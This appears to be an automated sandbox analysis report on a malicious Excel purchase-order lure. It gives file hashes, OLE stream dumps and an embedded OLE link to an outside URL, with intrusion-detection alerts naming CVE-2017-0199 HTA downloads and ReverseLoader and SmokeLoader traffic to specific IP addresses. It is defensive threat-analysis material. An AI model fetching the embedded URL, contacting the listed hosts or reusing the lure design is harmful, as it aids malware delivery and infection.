.....-.(7...(......(....-...~S...-.~R....S...s!.....~W...o"....~U...o#....~V...o$....o%...~Y...o&...~S...~Q...~T....s'....P...~P...sE...o(............~W....@_,s.....()...r7..p.$(*........o+..........o,....2....... ....37(....(8.........%...o-....

C:\Users\user\Desktop\#U3010TW-S PO#U3011PO#3311-20241118003.xls (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Nov 18 17:21:53 2024, Security: 1
Category:	dropped
Size (bytes):	935936
Entropy (8bit):	7.98633722227992
Encrypted:	false
SSDEEP:	24576:YnbskQzzO+GRwSNjBKk/1M6BE8pKVtCY+4IWBVK3:jlzzFGR/NjBKe1M6i+uwQIWy
MD5:	D3DB307CCEF3E4632AA68BDC0F34A9A2
SHA1:	82120AF403F42C8689E91B6D2C6EE653B91A622E
SHA-256:	A5FEDD9D24354077A27E97170BE3C4DDFF79D03139BD22E45C5F8E1AFA43F555
SHA-512:	725BC262EB996DA22766D21881FCB69E464283A0C4E5B7473DE84C76CF76C96041C8AEEB7BC4BF0356131231499C27E1FF7D785E8994A896307D846193958112
Malicious:	true
Preview:	......................>...................................$...........................................................g.......i......................................................................................................................................................................................................................................................................................................................................................................................................."................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\D6330000

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Nov 18 17:21:53 2024, Security: 1
Category:	dropped
Size (bytes):	935936
Entropy (8bit):	7.98633722227992
Encrypted:	false
SSDEEP:	24576:YnbskQzzO+GRwSNjBKk/1M6BE8pKVtCY+4IWBVK3:jlzzFGR/NjBKe1M6i+uwQIWy
MD5:	D3DB307CCEF3E4632AA68BDC0F34A9A2
SHA1:	82120AF403F42C8689E91B6D2C6EE653B91A622E
SHA-256:	A5FEDD9D24354077A27E97170BE3C4DDFF79D03139BD22E45C5F8E1AFA43F555
SHA-512:	725BC262EB996DA22766D21881FCB69E464283A0C4E5B7473DE84C76CF76C96041C8AEEB7BC4BF0356131231499C27E1FF7D785E8994A896307D846193958112
Malicious:	false
Preview:	......................>...................................$...........................................................g.......i......................................................................................................................................................................................................................................................................................................................................................................................................."................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\D6330000:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Nov 18 01:53:06 2024, Security: 1
Entropy (8bit):	7.980944873491801
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	#U3010TW-S PO#U3011PO#3311-20241118003.xls
File size:	1'181'184 bytes
MD5:	6a9f4cbac228885c734793d88b691d2f
SHA1:	e4afd16d467570807b14a28df304ef8f538cf30c
SHA256:	92322c09584ce34faa099794f8a9aa425e7dc08ea803a4f3ff28be197418d8ed
SHA512:	06dc9297fb1d681d2efbf0c519abd787fb2eb59595dadf812753586e5bb46bf185c6992bbb2d06eda93a13c2c568866098e0dfde07e187844c480e3cdf169754
SSDEEP:	24576:juq9PLiijE2Z5Z2amgDCZkNwefrcjus3hVSfBzFTVOP8:juEPLiij7Z5ZKkAkNxfrcjuQ25zFBg8
TLSH:	D2452349F884DF0BD596AC3315C7D4B31038BDC2AE96A3052B70B32E68769B50F9798D
File Content Preview:	........................>...................................]...........................................................................b.......d..............................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "#U3010TW-S PO#U3011PO#3311-20241118003.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-11-18 01:53:06
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . z 2 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7a 32 85 98 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . z 2 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7a 32 d6 fb 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . z 2 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7a 32 a5 b9 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . z 2 s . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 7a 32 73 cb 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2603503175049817
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . R \\ 9 . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD014EF417/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD014EF417/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD014EF417/Package, File Type: Microsoft Excel 2007+, Stream Size: 826073

General
Stream Path:	MBD014EF417/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	826073
Entropy:	7.996268523641285
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . . . . . 0 . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 01 86 c6 15 ee 01 00 00 30 09 00 00 13 00 dc 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d8 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD014EF418/\x1Ole, File Type: data, Stream Size: 654

General
Stream Path:	MBD014EF418/\x1Ole
CLSID:
File Type:	data
Stream Size:	654
Entropy:	4.6905951741404355
Base64 Encoded:	False
Data ASCII:	. . . . ] m 7 . V . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . l . i . n . k . . . u . e . b . i . e . . . d . e . / . b . U . P . K . f . u . ? . & . s . a . r . i . = . a . c . o . u . s . t . i . c . & . f . l . a . t . = . r . e . d . & . c . r . o . w . n . = . i . m . p . o . r . t . a . n . t . & . n . u . r . t . u . r . e . = . a . b . o . r . i . g . i . n . a . l . & . h . e . l . e . n . . . \\ } } . # . . . n . . ~ ; \| . g F ' d . . c . 8 D c J 0 < . N . . . .
Data Raw:	01 00 00 02 5d df f4 6d 37 13 d7 56 00 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b f6 00 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6c 00 69 00 6e 00 6b 00 2e 00 75 00 65 00 62 00 69 00 65 00 2e 00 64 00 65 00 2f 00 62 00 55 00 50 00 4b 00 66 00 75 00 3f 00 26 00 73 00 61 00 72 00 69 00 3d 00 61 00 63 00 6f 00 75 00 73 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 330953

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	330953
Entropy:	7.99877858787851
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . @ v > f e \\ / p n } = . 2 6 u r W m . . . . . . . . . . . \\ . p . 6 ( Z m . . \| F - * 4 & ) 4 x + . . . 1 . % . X # O . % q . \\ . T O r % . C ? . z x . _ l p m 9 h J J 8 . ^ J . . . L N @ . B . . . . a . . . " . . . = . . . g k _ ' . . . 3 ! * q n - > & l . . . . . . . . . . . . ! . . . . g . . . . . . . j I = . . . . . ? . d r 7 . & @ . . . . . . \\ " . . . L . . . . . U . . . g . . . g 1 . . . W r L B { f c l . . W . w - ! V Z u 1 . . . % ] ] . a `
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 d9 40 76 9d 3e 66 e7 c7 65 5c db c2 f4 e3 2f eb 8f 70 6e 9d da ea 83 ff ac a4 bb 7d cb 3d 1f a0 fa 32 d9 f9 a5 b7 e9 36 75 b4 72 bd be 57 ad 6d e1 00 02 00 b0 04 c1 00 02 00 16 b6 e2 00 00 00 5c 00 70 00 36 28 5a 6d 0f 80 88 c8 1c 7c 46 8e 2d ce fb a6 2a 8f 34 26 da f0 29 b4 34 78 2b 19 06 13

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 527

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	527
Entropy:	5.287119538944213
Base64 Encoded:	True
Data ASCII:	I D = " { 7 7 4 3 E 8 F A - 0 A 9 2 - 4 C 3 E - A B 2 1 - E E 7 9 3 6 7 6 6 5 D D } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " F 6 F 4 0 F 5 6 7 1 A A 2 8 A E 2
Data Raw:	49 44 3d 22 7b 37 37 34 33 45 38 46 41 2d 30 41 39 32 2d 34 43 33 45 2d 41 42 32 31 2d 45 45 37 39 33 36 37 36 36 35 44 44 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.9834752295591898
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.368583037671422
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . 4 L i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 34 e6 4c 69 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T18:21:30.915631+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49162	107.172.44.178	80	TCP
2024-11-18T18:21:30.915644+0100	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	107.172.44.178	80	192.168.2.22	49162	TCP
2024-11-18T18:21:33.487505+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49164	107.172.44.178	80	TCP
2024-11-18T18:21:33.487520+0100	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	107.172.44.178	80	192.168.2.22	49164	TCP
2024-11-18T18:21:43.833570+0100	2858795	ETPRO MALWARE ReverseLoader Payload Request (GET) M2	1	192.168.2.22	49165	107.172.44.178	80	TCP
2024-11-18T18:21:59.492820+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49171	107.172.44.178	80	TCP
2024-11-18T18:22:00.252623+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.215.209.78	443	192.168.2.22	49166	TCP
2024-11-18T18:22:23.312355+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.215.209.78	443	192.168.2.22	49173	TCP
2024-11-18T18:22:42.390367+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.22	49175	46.173.214.24	80	TCP
2024-11-18T18:22:42.710414+0100	2829848	ETPRO MALWARE SmokeLoader encrypted module (3)	2	46.173.214.24	80	192.168.2.22	49175	TCP
2024-11-18T18:22:58.747956+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.22	49176	46.173.214.24	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 18:21:28.888206005 CET	49161	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:28.888256073 CET	443	49161	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:28.888397932 CET	49161	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:28.893717051 CET	49161	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:28.893734932 CET	443	49161	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:29.798527956 CET	443	49161	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:29.798629999 CET	49161	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:29.805362940 CET	49161	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:29.805383921 CET	443	49161	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:29.805978060 CET	443	49161	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:29.806054115 CET	49161	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:29.883877039 CET	49161	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:29.931325912 CET	443	49161	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:30.225498915 CET	443	49161	5.45.108.48	192.168.2.22
